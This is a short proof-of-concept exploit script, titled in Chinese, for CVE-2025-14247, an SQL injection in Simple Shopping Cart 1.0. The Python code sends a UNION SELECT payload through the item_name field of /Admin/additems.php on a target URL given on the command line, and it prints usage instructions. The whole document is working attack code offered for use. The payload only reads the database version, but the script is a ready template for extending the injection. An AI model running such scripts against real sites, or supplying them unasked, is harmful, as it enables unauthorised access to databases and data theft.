CVE-2025-14247: Simple Shopping Cart 1.0 SQL注入漏洞

import requests import sys # CVE-2025-14247 PoC - Simple Shopping Cart 1.0 SQL Injection # Target: /Admin/additems.php # Parameter: item_name def exploit_sqli(url, payload): target_url = f"{url}/Admin/additems.php" # SQL injection payload for extracting database version data = { 'item_name': payload, 'submit': 'Add' } try: response = requests.post(target_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14247.py <target_url>") print("Example: python cve-2025-14247.py http://target.com/shopping") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2025-14247 - Simple Shopping Cart 1.0 SQL Injection") print(f"[*] Target: {target}") # Payload to extract database version payload = "1' UNION SELECT @@version-- -" print(f"[*] Sending payload: {payload}") result = exploit_sqli(target, payload) if result: print("[+] Response received - check for SQL error or data leakage") else: print("[-] Exploitation failed") if __name__ == "__main__": main()